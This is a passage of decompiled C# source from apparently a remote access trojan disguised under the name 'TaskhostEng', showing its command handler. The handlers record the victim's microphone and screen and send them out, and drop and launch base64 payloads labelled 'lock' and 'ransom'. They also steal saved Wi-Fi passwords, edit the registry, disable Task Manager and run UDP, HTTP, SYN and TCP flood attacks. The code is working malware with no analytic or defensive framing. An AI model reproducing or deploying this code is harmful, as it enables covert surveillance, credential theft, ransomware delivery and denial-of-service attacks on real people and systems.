  862. int co = Conversions.ToInteger(array[2]);
  863. int qu = Conversions.ToInteger(array[3]);
  864. byte[] array16 = TaskhostEng.Rmote_Desktop.Cap(q, co, qu);
  865. MemoryStream memoryStream = new MemoryStream();
  866. string text16 = "@" + TaskhostEng.Yy;
  867. memoryStream.Write(TaskhostEng.SB(text16), 0, text16.Length);
  868. memoryStream.Write(array16, 0, array16.Length);
  869. TaskhostEng.C.Send(memoryStream.ToArray());
  870. memoryStream.Dispose();
  871. }
  872. else if (Operators.CompareString(left, "#", false) == 0)
  873. {
  874. Point position = new Point(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
  875. Cursor.Position = position;
  876. TaskhostEng.mouse_event(Conversions.ToInteger(array[3]), 0, 0, 0, 1);
  877. }
  878. else if (Operators.CompareString(left, "$", false) == 0)
  879. {
  880. Point position = new Point(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
  881. Cursor.Position = position;
  882. }
  883. else if (Operators.CompareString(left, "Mic", false) == 0)
  884. {
  885. TaskhostEng.C.Send("micready");
  886. }
  887. else
  888. {
  889. if (Operators.CompareString(left, "record", false) == 0)
  890. {
  891. try
  892. {
  893. if (!TaskhostEng.recording)
  894. {
  895. string text17 = "open new Type waveaudio Alias recsound";
  896. string text18 = "";
  897. TaskhostEng.cdmciSendString(ref text17, ref text18, 0L, 0L);
  898. text18 = "record recsound";
  899. text17 = "";
  900. TaskhostEng.cdmciSendString(ref text18, ref text17, 0L, 0L);
  901. TaskhostEng.recording = true;
  902. }
  903. TaskhostEng.C.Send("recording");
  904. return;
  905. }
  906. catch (Exception ex14)
  907. {
  908. Interaction.MsgBox(ex14.Message, MsgBoxStyle.OkOnly, null);
  909. return;
  910. }
  911. }
  912. if (Operators.CompareString(left, "stoprecord", false) == 0)
  913. {
  914. try
  915. {
  916. if (TaskhostEng.recording)
  917. {
  918. string text18 = "save recsound " + TaskhostEng.Filez;
  919. string text17 = "";
  920. TaskhostEng.cdmciSendString(ref text18, ref text17, 0L, 0L);
  921. text18 = "close recsound ";
  922. text17 = "";
  923. TaskhostEng.cdmciSendString(ref text18, ref text17, 0L, 0L);
  924. TaskhostEng.recording = false;
  925. }
  926. TaskhostEng.C.Send("recstop");
  927. return;
  928. }
  929. catch (Exception ex15)
  930. {
  931. Interaction.MsgBox(ex15.Message, MsgBoxStyle.OkOnly, null);
  932. return;
  933. }
  934. }
  935. if (Operators.CompareString(left, "listenrecord", false) == 0)
  936. {
  937. TaskhostEng.C.Send("listenrec" + TaskhostEng.Yy + Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.Filez)));
  938. }
  939. else if (Operators.CompareString(left, "pro", false) == 0)
  940. {
  941. TaskhostEng.C.Send("programs");
  942. }
  943. else if (Operators.CompareString(left, "enterlan", false) == 0)
  944. {
  945. string hostName = array[1];
  946. IPHostEntry hostByName = Dns.GetHostByName(hostName);
  947. IPAddress[] addressList = hostByName.AddressList;
  948. string str2 = addressList[0].ToString();
  949. TaskhostEng.C.Send("pcip" + TaskhostEng.Yy + str2);
  950. }
  951. else if (Operators.CompareString(left, "lock", false) == 0)
  952. {
  953. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  954. Thread.Sleep(0x3E8);
  955. Process.Start(Path.GetTempPath() + array[1]);
  956. }
  957. else if (Operators.CompareString(left, "ransom", false) == 0)
  958. {
  959. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  960. Thread.Sleep(0x3E8);
  961. Process.Start(Path.GetTempPath() + array[1]);
  962. }
  963. else if (Operators.CompareString(left, "wifipass", false) == 0)
  964. {
  965. TaskhostEng.C.Send("wifipass");
  966. }
  967. else if (Operators.CompareString(left, "savedwifi", false) == 0)
  968. {
  969. StreamReader streamReader2 = File.OpenText(Conversions.ToString(TaskhostEng.wififilePath));
  970. TaskhostEng.WifiRich1.Text = streamReader2.ReadToEnd();
  971. streamReader2.Close();
  972. int num16 = 0;
  973. int num17 = TaskhostEng.WifiRich1.Lines.Length - 1;
  974. for (int num18 = num16; num18 <= num17; num18++)
  975. {
  976. TaskhostEng.C.Send("getsavedwifi" + TaskhostEng.Yy + TaskhostEng.WifiRich1.Lines[num18]);
  977. }
  978. }
  979. else if (Operators.CompareString(left, "wifiexe", false) == 0)
  980. {
  981. File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
  982. Thread.Sleep(0x3E8);
  983. Process.Start(Path.GetTempPath() + array[1]);
  984. }
  985. else if (Operators.CompareString(left, "getthisWifiinfo", false) == 0)
  986. {
  987. string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\passes.txt";
  988. StreamReader streamReader3 = File.OpenText(path);
  989. TaskhostEng.WifiRich1.Text = streamReader3.ReadToEnd();
  990. streamReader3.Close();
  991. int num19 = 0;
  992. int num20 = TaskhostEng.WifiRich1.Lines.Length - 1;
  993. for (int num21 = num19; num21 <= num20; num21++)
  994. {
  995. TaskhostEng.C.Send("wifipassword" + TaskhostEng.Yy + TaskhostEng.WifiRich1.Lines[num21]);
  996. }
  997. TaskhostEng.C.Send("wifidone");
  998. }
  999. else if (Operators.CompareString(left, "viewlan", false) == 0)
  1000. {
  1001. TaskhostEng.C.Send("RRSSRRSS");
  1002. TaskhostEng.stoplan = false;
  1003. }
  1004. else if (Operators.CompareString(left, "Stoplan", false) == 0)
  1005. {
  1006. TaskhostEng.stoplan = true;
  1007. }
  1008. else
  1009. {
  1010. if (Operators.CompareString(left, "getlan", false) == 0)
  1011. {
  1012. try
  1013. {
  1014. TaskhostEng.lanstart();
  1015. return;
  1016. }
  1017. catch (Exception ex16)
  1018. {
  1019. return;
  1020. }
  1021. }
  1022. if (Operators.CompareString(left, "wifi2", false) == 0)
  1023. {
  1024. TaskhostEng.getwifis2();
  1025. }
  1026. else if (Operators.CompareString(left, "scanlan", false) == 0)
  1027. {
  1028. string hostName2 = array[1];
  1029. IPHostEntry hostByName2 = Dns.GetHostByName(hostName2);
  1030. IPAddress[] addressList2 = hostByName2.AddressList;
  1031. string ip = addressList2[0].ToString();
  1032. TaskhostEng.scanlan(ip, array[2], array[3]);
  1033. }
  1034. else if (Operators.CompareString(left, "scansite", false) == 0)
  1035. {
  1036. TaskhostEng.scansite(array[1], array[2], array[3]);
  1037. }
  1038. else if (Operators.CompareString(left, "sitescanner", false) == 0)
  1039. {
  1040. TaskhostEng.C.Send("opensacnner");
  1041. }
  1042. else if (Operators.CompareString(left, "devicesinfo", false) == 0)
  1043. {
  1044. TaskhostEng.C.Send("showinfo");
  1045. }
  1046. else if (Operators.CompareString(left, "openRG", false) == 0)
  1047. {
  1048. TaskhostEng.C.Send("openRG");
  1049. }
  1050. else if (Operators.CompareString(left, "RG", false) == 0)
  1051. {
  1052. object key = TaskhostEng.GetKey(array[2]);
  1053. string left2 = array[1];
  1054. if (Operators.CompareString(left2, "~", false) == 0)
  1055. {
  1056. string str3 = string.Concat(new string[]
  1057. {
  1058. "RG",
  1059. TaskhostEng.Yy,
  1060. "~",
  1061. TaskhostEng.Yy,
  1062. array[2],
  1063. TaskhostEng.Yy
  1064. });
  1065. string text19 = "";
  1066. try
  1067. {
  1068. foreach (object value5 in ((IEnumerable)NewLateBinding.LateGet(key, null, "GetSubKeyNames", new object[0], null, null, null)))
  1069. {
  1070. string text20 = Conversions.ToString(value5);
  1071. if (!text20.Contains("\\"))
  1072. {
  1073. text19 = text19 + text20 + TaskhostEng.Yy;
  1074. }
  1075. }
  1076. }
  1077. finally
  1078. {
  1079. IEnumerator enumerator;
  1080. if (enumerator is IDisposable)
  1081. {
  1082. (enumerator as IDisposable).Dispose();
  1083. }
  1084. }
  1085. try
  1086. {
  1087. foreach (object value6 in ((IEnumerable)NewLateBinding.LateGet(key, null, "GetValueNames", new object[0], null, null, null)))
  1088. {
  1089. string text21 = Conversions.ToString(value6);
  1090. string[] array4 = new string[7];
  1091. array4[0] = text19;
  1092. array4[1] = text21;
  1093. array4[2] = "/";
  1094. string[] array17 = array4;
  1095. int num22 = 3;
  1096. object instance2 = key;
  1097. Type type2 = null;
  1098. string memberName2 = "GetValueKind";
  1099. object[] array18 = new object[]
  1100. {
  1101. text21
  1102. };
  1103. object[] arguments2 = array18;
  1104. string[] argumentNames2 = null;
  1105. Type[] typeArguments2 = null;
  1106. bool[] array19 = new bool[]
  1107. {
  1108. true
  1109. };
  1110. object obj2 = NewLateBinding.LateGet(instance2, type2, memberName2, arguments2, argumentNames2, typeArguments2, array19);
  1111. if (array19[0])
  1112. {
  1113. text21 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array18[0]), typeof(string));
  1114. }
  1115. array17[num22] = obj2.ToString();
  1116. array4[4] = "/";
  1117. string[] array20 = array4;
  1118. int num23 = 5;
  1119. object instance3 = key;
  1120. Type type3 = null;
  1121. string memberName3 = "GetValue";
  1122. object[] array2 = new object[]
  1123. {
  1124. text21,
  1125. ""
  1126. };
  1127. object[] arguments3 = array2;
  1128. string[] argumentNames3 = null;
  1129. Type[] typeArguments3 = null;
  1130. bool[] array7 = new bool[]
  1131. {
  1132. true,
  1133. false
  1134. };
  1135. object obj3 = NewLateBinding.LateGet(instance3, type3, memberName3, arguments3, argumentNames3, typeArguments3, array7);
  1136. if (array7[0])
  1137. {
  1138. text21 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[0]), typeof(string));
  1139. }
  1140. array20[num23] = obj3.ToString();
  1141. array4[6] = TaskhostEng.Yy;
  1142. text19 = string.Concat(array4);
  1143. }
  1144. }
  1145. finally
  1146. {
  1147. IEnumerator enumerator2;
  1148. if (enumerator2 is IDisposable)
  1149. {
  1150. (enumerator2 as IDisposable).Dispose();
  1151. }
  1152. }
  1153. TaskhostEng.C.Send(str3 + text19);
  1154. }
  1155. else if (Operators.CompareString(left2, "!", false) == 0)
  1156. {
  1157. object instance4 = key;
  1158. Type type4 = null;
  1159. string memberName4 = "SetValue";
  1160. object[] array18 = new object[3];
  1161. object[] array21 = array18;
  1162. int num24 = 0;
  1163. string[] array4 = array;
  1164. string[] array22 = array4;
  1165. int num2 = 3;
  1166. array21[num24] = array22[num2];
  1167. object[] array23 = array18;
  1168. int num25 = 1;
  1169. string[] array24 = array;
  1170. string[] array25 = array24;
  1171. int num26 = 4;
  1172. array23[num25] = array25[num26];
  1173. object[] array26 = array18;
  1174. int num27 = 2;
  1175. string[] array27 = array;
  1176. string[] array28 = array27;
  1177. int num28 = 5;
  1178. array26[num27] = array28[num28];
  1179. object[] array29 = array18;
  1180. object[] arguments4 = array29;
  1181. string[] argumentNames4 = null;
  1182. Type[] typeArguments4 = null;
  1183. bool[] array19 = new bool[]
  1184. {
  1185. true,
  1186. true,
  1187. true
  1188. };
  1189. NewLateBinding.LateCall(instance4, type4, memberName4, arguments4, argumentNames4, typeArguments4, array19, true);
  1190. if (array19[0])
  1191. {
  1192. array4[num2] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
  1193. }
  1194. if (array19[1])
  1195. {
  1196. array24[num26] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[1]), typeof(string));
  1197. }
  1198. if (array19[2])
  1199. {
  1200. array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[2]), typeof(string));
  1201. }
  1202. }
  1203. else if (Operators.CompareString(left2, "@5", false) == 0)
  1204. {
  1205. object instance5 = key;
  1206. Type type5 = null;
  1207. string memberName5 = "DeleteValue";
  1208. object[] array18 = new object[2];
  1209. object[] array30 = array18;
  1210. int num29 = 0;
  1211. string[] array27 = array;
  1212. string[] array31 = array27;
  1213. int num28 = 3;
  1214. array30[num29] = array31[num28];
  1215. array18[1] = false;
  1216. object[] array29 = array18;
  1217. object[] arguments5 = array29;
  1218. string[] argumentNames5 = null;
  1219. Type[] typeArguments5 = null;
  1220. bool[] array19 = new bool[]
  1221. {
  1222. true,
  1223. false
  1224. };
  1225. NewLateBinding.LateCall(instance5, type5, memberName5, arguments5, argumentNames5, typeArguments5, array19, true);
  1226. if (array19[0])
  1227. {
  1228. array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
  1229. }
  1230. }
  1231. else if (Operators.CompareString(left2, "#", false) == 0)
  1232. {
  1233. object instance6 = key;
  1234. Type type6 = null;
  1235. string memberName6 = "CreateSubKey";
  1236. object[] array18 = new object[1];
  1237. object[] array32 = array18;
  1238. int num30 = 0;
  1239. string[] array27 = array;
  1240. string[] array33 = array27;
  1241. int num28 = 3;
  1242. array32[num30] = array33[num28];
  1243. object[] array29 = array18;
  1244. object[] arguments6 = array29;
  1245. string[] argumentNames6 = null;
  1246. Type[] typeArguments6 = null;
  1247. bool[] array19 = new bool[]
  1248. {
  1249. true
  1250. };
  1251. NewLateBinding.LateCall(instance6, type6, memberName6, arguments6, argumentNames6, typeArguments6, array19, true);
  1252. if (array19[0])
  1253. {
  1254. array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
  1255. }
  1256. }
  1257. else if (Operators.CompareString(left2, "$", false) == 0)
  1258. {
  1259. object instance7 = key;
  1260. Type type7 = null;
  1261. string memberName7 = "DeleteSubKeyTree";
  1262. object[] array18 = new object[1];
  1263. object[] array34 = array18;
  1264. int num31 = 0;
  1265. string[] array27 = array;
  1266. string[] array35 = array27;
  1267. int num28 = 3;
  1268. array34[num31] = array35[num28];
  1269. object[] array29 = array18;
  1270. object[] arguments7 = array29;
  1271. string[] argumentNames7 = null;
  1272. Type[] typeArguments7 = null;
  1273. bool[] array19 = new bool[]
  1274. {
  1275. true
  1276. };
  1277. NewLateBinding.LateCall(instance7, type7, memberName7, arguments7, argumentNames7, typeArguments7, array19, true);
  1278. if (array19[0])
  1279. {
  1280. array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
  1281. }
  1282. }
  1283. }
  1284. else if (Operators.CompareString(left, "FLOOD", false) == 0)
  1285. {
  1286. TaskhostEng.C.Send("FLOOD" + TaskhostEng.Yy);
  1287. }
  1288. else
  1289. {
  1290. if (Operators.CompareString(left, "Fstart", false) == 0)
  1291. {
  1292. try
  1293. {
  1294. string left3 = array[1];
  1295. if (Operators.CompareString(left3, "UDP", false) == 0)
  1296. {
  1297. if (TaskhostEng.UDP.IsEnabled)
  1298. {
  1299. TaskhostEng.UDP.StopUDPz();
  1300. }
  1301. TaskhostEng.UDP.Host = array[2];
  1302. TaskhostEng.UDP.Port = Conversions.ToInteger(array[3]);
  1303. TaskhostEng.UDP.Threads = Conversions.ToInteger(array[4]);
  1304. TaskhostEng.UDP.UDPzSockets = Conversions.ToInteger(array[5]);
  1305. TaskhostEng.UDP.StartUDPz();
  1306. return;
  1307. }
  1308. if (Operators.CompareString(left3, "HTTP", false) == 0)
  1309. {
  1310. if (TaskhostEng.HttpFlood.IsEnabled)
  1311. {
  1312. TaskhostEng.HttpFlood.StopHttpFlood();
  1313. }
  1314. TaskhostEng.HttpFlood.Host = array[2];
  1315. TaskhostEng.HttpFlood.Interval = Conversions.ToInteger(array[3]);
  1316. TaskhostEng.HttpFlood.Threads = Conversions.ToInteger(array[4]);
  1317. TaskhostEng.HttpFlood.StartHttpFlood();
  1318. return;
  1319. }
  1320. if (Operators.CompareString(left3, "SYN", false) == 0)
  1321. {
  1322. if (TaskhostEng.Syn.IsEnabled)
  1323. {
  1324. TaskhostEng.Syn.StopSuperSyn();
  1325. }
  1326. TaskhostEng.Syn.Host = array[2];
  1327. TaskhostEng.Syn.Port = Conversions.ToInteger(array[3]);
  1328. TaskhostEng.Syn.Threads = Conversions.ToInteger(array[4]);
  1329. TaskhostEng.Syn.SuperSynSockets = Conversions.ToInteger(array[5]);
  1330. TaskhostEng.Syn.StartSuperSyn();
  1331. return;
  1332. }
  1333. if (Operators.CompareString(left3, "TCP", false) == 0)
  1334. {
  1335. object instance8 = TaskhostEng.tcpfuck;
  1336. Type type8 = null;
  1337. string memberName8 = "AddTarget";
  1338. object[] array18 = new object[4];
  1339. object[] array36 = array18;
  1340. int num32 = 0;
  1341. string[] array27 = array;
  1342. string[] array37 = array27;
  1343. int num28 = 2;
  1344. array36[num32] = array37[num28];
  1345. object[] array38 = array18;
  1346. int num33 = 1;
  1347. string[] array24 = array;
  1348. string[] array39 = array24;
  1349. int num26 = 3;
  1350. array38[num33] = array39[num26];
  1351. object[] array40 = array18;
  1352. int num34 = 2;
  1353. string[] array4 = array;
  1354. string[] array41 = array4;
  1355. int num2 = 4;
  1356. array40[num34] = array41[num2];
  1357. object[] array42 = array18;
  1358. int num35 = 3;
  1359. string[] array43 = array;
  1360. string[] array44 = array43;
  1361. int num36 = 5;
  1362. array42[num35] = array44[num36];
  1363. object[] array29 = array18;
  1364. object[] arguments8 = array29;
  1365. string[] argumentNames8 = null;
  1366. Type[] typeArguments8 = null;
  1367. bool[] array19 = new bool[]
  1368. {
  1369. true,
  1370. true,
  1371. true,
  1372. true
  1373. };
  1374. NewLateBinding.LateCall(instance8, type8, memberName8, arguments8, argumentNames8, typeArguments8, array19, true);
  1375. if (array19[0])
  1376. {
  1377. array27[num28] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[0]), typeof(string));
  1378. }
  1379. if (array19[1])
  1380. {
  1381. array24[num26] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[1]), typeof(string));
  1382. }
  1383. if (array19[2])
  1384. {
  1385. array4[num2] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[2]), typeof(string));
  1386. }
  1387. if (array19[3])
  1388. {
  1389. array43[num36] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array29[3]), typeof(string));
  1390. }
  1391. NewLateBinding.LateCall(TaskhostEng.tcpfuck, null, "Start", new object[0], null, null, null, true);
  1392. }
  1393. return;
  1394. }
  1395. catch (Exception ex17)
  1396. {
  1397. return;
  1398. }
  1399. }
  1400. if (Operators.CompareString(left, "Fstop", false) == 0)
  1401. {
  1402. try
  1403. {
  1404. string left4 = array[1];
  1405. if (Operators.CompareString(left4, "UDP", false) == 0)
  1406. {
  1407. TaskhostEng.UDP.StopUDPz();
  1408. return;
  1409. }
  1410. if (Operators.CompareString(left4, "HTTP", false) == 0)
  1411. {
  1412. TaskhostEng.HttpFlood.StopHttpFlood();
  1413. return;
  1414. }
  1415. if (Operators.CompareString(left4, "SYN", false) == 0)
  1416. {
  1417. TaskhostEng.Syn.StopSuperSyn();
  1418. return;
  1419. }
  1420. if (Operators.CompareString(left4, "TCP", false) == 0)
  1421. {
  1422. NewLateBinding.LateCall(TaskhostEng.tcpfuck, null, "stop", new object[0], null, null, null, true);
  1423. }
  1424. return;
  1425. }
  1426. catch (Exception ex18)
  1427. {
  1428. return;
  1429. }
  1430. }
  1431. if (Operators.CompareString(left, "ddos", false) == 0)
  1432. {
  1433. Interaction.Shell("ping -t" + array[1] + "-l " + array[2], AppWinStyle.Hide, false, -1);
  1434. }
  1435. else if (Operators.CompareString(left, "NormalMouse", false) == 0)
  1436. {
  1437. TaskhostEng.SwapMouseButton(0L);
  1438. }
  1439. else if (Operators.CompareString(left, "ReverseMouse", false) == 0)
  1440. {
  1441. TaskhostEng.SwapMouseButton(0x100L);
  1442. }
  1443. else
  1444. {
  1445. if (Operators.CompareString(left, "opencd", false) == 0)
  1446. {
  1447. try
  1448. {
  1449. TaskhostEng.mciSendString("set cdaudio door open", Conversions.ToString(0), 0, (IntPtr)0);
  1450. return;
  1451. }
  1452. catch (Exception ex19)
  1453. {
  1454. return;
  1455. }
  1456. }
  1457. if (Operators.CompareString(left, "closecd", false) == 0)
  1458. {
  1459. try
  1460. {
  1461. TaskhostEng.mciSendString("set cdaudio door closed", Conversions.ToString(0), 0, (IntPtr)0);
  1462. return;
  1463. }
  1464. catch (Exception ex20)
  1465. {
  1466. return;
  1467. }
  1468. }
  1469. if (Operators.CompareString(left, "BepX", false) == 0)
  1470. {
  1471. TaskhostEng.Beep(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
  1472. }
  1473. else if (Operators.CompareString(left, "-----------", false) == 0)
  1474. {
  1475. TaskhostEng.Beep(0x3E8, 0x5DC);
  1476. }
  1477. else if (Operators.CompareString(left, "devicesinfo", false) == 0)
  1478. {
  1479. TaskhostEng.C.Send("showinfo");
  1480. }
  1481. else
  1482. {
  1483. if (Operators.CompareString(left, "cputemp", false) == 0)
  1484. {
  1485. try
  1486. {
  1487. ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\WMI", "SELECT * FROM MSAcpi_ThermalZoneTemperature");
  1488. try
  1489. {
  1490. foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
  1491. {
  1492. ManagementObject managementObject = (ManagementObject)managementBaseObject;
  1493. double num37 = Conversions.ToDouble(managementObject["CurrentTemperature"]);
  1494. num37 = unchecked(num37 - 2732.0) / 10.0;
  1495. TaskhostEng.C.Send("cputemp" + TaskhostEng.Yy + num37.ToString());
  1496. }
  1497. return;
  1498. }
  1499. finally
  1500. {
  1501. ManagementObjectCollection.ManagementObjectEnumerator enumerator3;
  1502. if (enumerator3 != null)
  1503. {
  1504. ((IDisposable)enumerator3).Dispose();
  1505. }
  1506. }
  1507. }
  1508. catch (ManagementException ex21)
  1509. {
  1510. return;
  1511. }
  1512. }
  1513. if (Operators.CompareString(left, "visit", false) == 0)
  1514. {
  1515. string uriString = array[1];
  1516. try
  1517. {
  1518. Uri requestUri = new Uri(uriString);
  1519. HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(requestUri);
  1520. if (httpWebRequest.GetResponse().ContentLength > 0L)
  1521. {
  1522. StreamReader streamReader4 = new StreamReader(httpWebRequest.GetResponse().GetResponseStream());
  1523. streamReader4.ReadToEnd();
  1524. streamReader4.Close();
  1525. }
  1526. return;
  1527. }
  1528. catch (WebException ex22)
  1529. {
  1530. return;
  1531. }
  1532. }
  1533. if (Operators.CompareString(left, "getinfonow", false) == 0)
  1534. {
  1535. try
  1536. {
  1537. foreach (TaskhostEng.Device device in TaskhostEng.Device.GetAllDevices())
  1538. {
  1539. TaskhostEng.C.Send(string.Concat(new string[]
  1540. {
  1541. "device",
  1542. TaskhostEng.Yy,
  1543. device.Name,
  1544. TaskhostEng.Yy,
  1545. device.Manufacturer,
  1546. TaskhostEng.Yy,
  1547. device.Service,
  1548. TaskhostEng.Yy,
  1549. device.PNPDeviceID,
  1550. TaskhostEng.Yy,
  1551. device.Description
  1552. }));
  1553. }
  1554. }
  1555. finally
  1556. {
  1557. List<TaskhostEng.Device>.Enumerator enumerator4;
  1558. ((IDisposable)enumerator4).Dispose();
  1559. }
  1560. try
  1561. {
  1562. foreach (TaskhostEng.Device device2 in TaskhostEng.Device.GetNonWorkingDevices())
  1563. {
  1564. TaskhostEng.C.Send(string.Concat(new string[]
  1565. {
  1566. "nonworkingdevice",
  1567. TaskhostEng.Yy,
  1568. device2.Name,
  1569. TaskhostEng.Yy,
  1570. device2.Manufacturer,
  1571. TaskhostEng.Yy,
  1572. device2.Service,
  1573. TaskhostEng.Yy,
  1574. device2.PNPDeviceID,
  1575. TaskhostEng.Yy,
  1576. device2.Description
  1577. }));
  1578. }
  1579. }
  1580. finally
  1581. {
  1582. List<TaskhostEng.Device>.Enumerator enumerator5;
  1583. ((IDisposable)enumerator5).Dispose();
  1584. }
  1585. TaskhostEng.PrinterList();
  1586. }
  1587. else if (Operators.CompareString(left, "ErorrMsg", false) == 0)
  1588. {
  1589. string left5 = array[1];
  1590. MessageBoxIcon icon;
  1591. if (Operators.CompareString(left5, "1", false) == 0)
  1592. {
  1593. icon = MessageBoxIcon.Asterisk;
  1594. }
  1595. else if (Operators.CompareString(left5, "2", false) == 0)
  1596. {
  1597. icon = MessageBoxIcon.Question;
  1598. }
  1599. else if (Operators.CompareString(left5, "3", false) == 0)
  1600. {
  1601. icon = MessageBoxIcon.Exclamation;
  1602. }
  1603. else if (Operators.CompareString(left5, "4", false) == 0)
  1604. {
  1605. icon = MessageBoxIcon.Hand;
  1606. }
  1607. string left6 = array[2];
  1608. MessageBoxButtons buttons;
  1609. if (Operators.CompareString(left6, "1", false) == 0)
  1610. {
  1611. buttons = MessageBoxButtons.YesNo;
  1612. }
  1613. else if (Operators.CompareString(left6, "2", false) == 0)
  1614. {
  1615. buttons = MessageBoxButtons.YesNoCancel;
  1616. }
  1617. else if (Operators.CompareString(left6, "3", false) == 0)
  1618. {
  1619. buttons = MessageBoxButtons.OK;
  1620. }
  1621. else if (Operators.CompareString(left6, "4", false) == 0)
  1622. {
  1623. buttons = MessageBoxButtons.OKCancel;
  1624. }
  1625. else if (Operators.CompareString(left6, "5", false) == 0)
  1626. {
  1627. buttons = MessageBoxButtons.RetryCancel;
  1628. }
  1629. else if (Operators.CompareString(left6, "6", false) == 0)
  1630. {
  1631. buttons = MessageBoxButtons.AbortRetryIgnore;
  1632. }
  1633. MessageBox.Show(array[4], array[3], buttons, icon);
  1634. }
  1635. else if (Operators.CompareString(left, "CursorShow", false) == 0)
  1636. {
  1637. Cursor.Show();
  1638. }
  1639. else if (Operators.CompareString(left, "TaskbarShow", false) == 0)
  1640. {
  1641. TaskhostEng.ShowTaskbarItems();
  1642. }
  1643. else if (Operators.CompareString(left, "TaskbarHide", false) == 0)
  1644. {
  1645. TaskhostEng.HideTaskbarItems();
  1646. }
  1647. else if (Operators.CompareString(left, "CursorHide", false) == 0)
  1648. {
  1649. Cursor.Hide();
  1650. }
  1651. else if (Operators.CompareString(left, "ClockOFF", false) == 0)
  1652. {
  1653. TaskhostEng.hideclock();
  1654. }
  1655. else if (Operators.CompareString(left, "ClockON", false) == 0)
  1656. {
  1657. TaskhostEng.showclock();
  1658. }
  1659. else if (Operators.CompareString(left, "DisableTaskManager", false) == 0)
  1660. {
  1661. MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", "1", RegistryValueKind.DWord);
  1662. }
  1663. else if (Operators.CompareString(left, "EnableTaskManager", false) == 0)
  1664. {
  1665. MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "DisableTaskMgr", "0", RegistryValueKind.DWord);
  1666. }
  1667. else if (Operators.CompareString(left, "TurnOffMonitor", false) == 0)
  1668. {
  1669. TaskhostEng.SendMessage(-1, 0x112U, 0xF170U, 2);
  1670. }
  1671. else if (Operators.CompareString(left, "TurnOnMonitor", false) == 0)
  1672. {
  1673. TaskhostEng.SendMessage(-1, 0x112U, 0xF170U, -1);
  1674. }
  1675. else if (Operators.CompareString(left, "viewwifi", false) == 0)
  1676. {
  1677. TaskhostEng.C.Send("wifi");
  1678. }
  1679. else if (Operators.CompareString(left, "stat", false) == 0)
  1680. {
  1681. TaskhostEng.C.Send("stat");
  1682. }
  1683. else if (Operators.CompareString(left, "getstat", false) == 0)
  1684. {
  1685. TaskhostEng.stati();
  1686. TaskhostEng.getinterfaces();
  1687. }
  1688. else if (Operators.CompareString(left, "xxx", false) == 0)
  1689. {
  1690. TaskhostEng.programs();
  1691. }
  1692. else if (Operators.CompareString(left, "lDL", false) == 0)
  1693. {
  1694. string str4 = array[1];
  1695. int num38 = Interaction.Shell("\"" + str4 + "\"", AppWinStyle.MinimizedFocus, false, -1);
  1696. SendKeys.Send("{ENTER}");
  1697. SendKeys.Send("{ENTER}");
  1698. SendKeys.Send("{ENTER}");
  1699. SendKeys.Send("{ENTER}");
  1700. SendKeys.Send("{ENTER}");
  1701. SendKeys.Send("{ENTER}");
  1702. SendKeys.Send("{ENTER}");
  1703. SendKeys.Send("{ENTER}");
  1704. SendKeys.Send("{ENTER}");
  1705. SendKeys.Send("{ENTER}");
  1706. SendKeys.Send("{ENTER}");
  1707. SendKeys.Send("{ENTER}");
  1708. }
  1709. else if (Operators.CompareString(left, "msgbox", false) == 0)
  1710. {
  1711. string left7 = array[1];
  1712. MessageBoxIcon icon2;
  1713. if (Operators.CompareString(left7, "1", false) == 0)
  1714. {
  1715. icon2 = MessageBoxIcon.Asterisk;
  1716. }
  1717. else if (Operators.CompareString(left7, "2", false) == 0)
  1718. {
  1719. icon2 = MessageBoxIcon.Question;
  1720. }
  1721. else if (Operators.CompareString(left7, "3", false) == 0)
  1722. {
  1723. icon2 = MessageBoxIcon.Exclamation;
  1724. }
  1725. else if (Operators.CompareString(left7, "4", false) == 0)
  1726. {
  1727. icon2 = MessageBoxIcon.Hand;
  1728. }
  1729. string left8 = array[2];
  1730. MessageBoxButtons buttons2;
  1731. if (Operators.CompareString(left8, "1", false) == 0)
  1732. {
  1733. buttons2 = MessageBoxButtons.YesNo;
  1734. }
  1735. else if (Operators.CompareString(left8, "2", false) == 0)
  1736. {
  1737. buttons2 = MessageBoxButtons.YesNoCancel;
  1738. }
  1739. else if (Operators.CompareString(left8, "3", false) == 0)
  1740. {
  1741. buttons2 = MessageBoxButtons.OK;
  1742. }
  1743. else if (Operators.CompareString(left8, "4", false) == 0)
  1744. {
  1745. buttons2 = MessageBoxButtons.OKCancel;
  1746. }
  1747. else if (Operators.CompareString(left8, "5", false) == 0)
  1748. {
  1749. buttons2 = MessageBoxButtons.RetryCancel;
  1750. }
  1751. else if (Operators.CompareString(left8, "6", false) == 0)
  1752. {
  1753. buttons2 = MessageBoxButtons.AbortRetryIgnore;
  1754. }
  1755. MessageBox.Show(array[4], array[3], buttons2, icon2);
  1756. }
  1757. else if (Operators.CompareString(left, "piano", false) == 0)
  1758. {
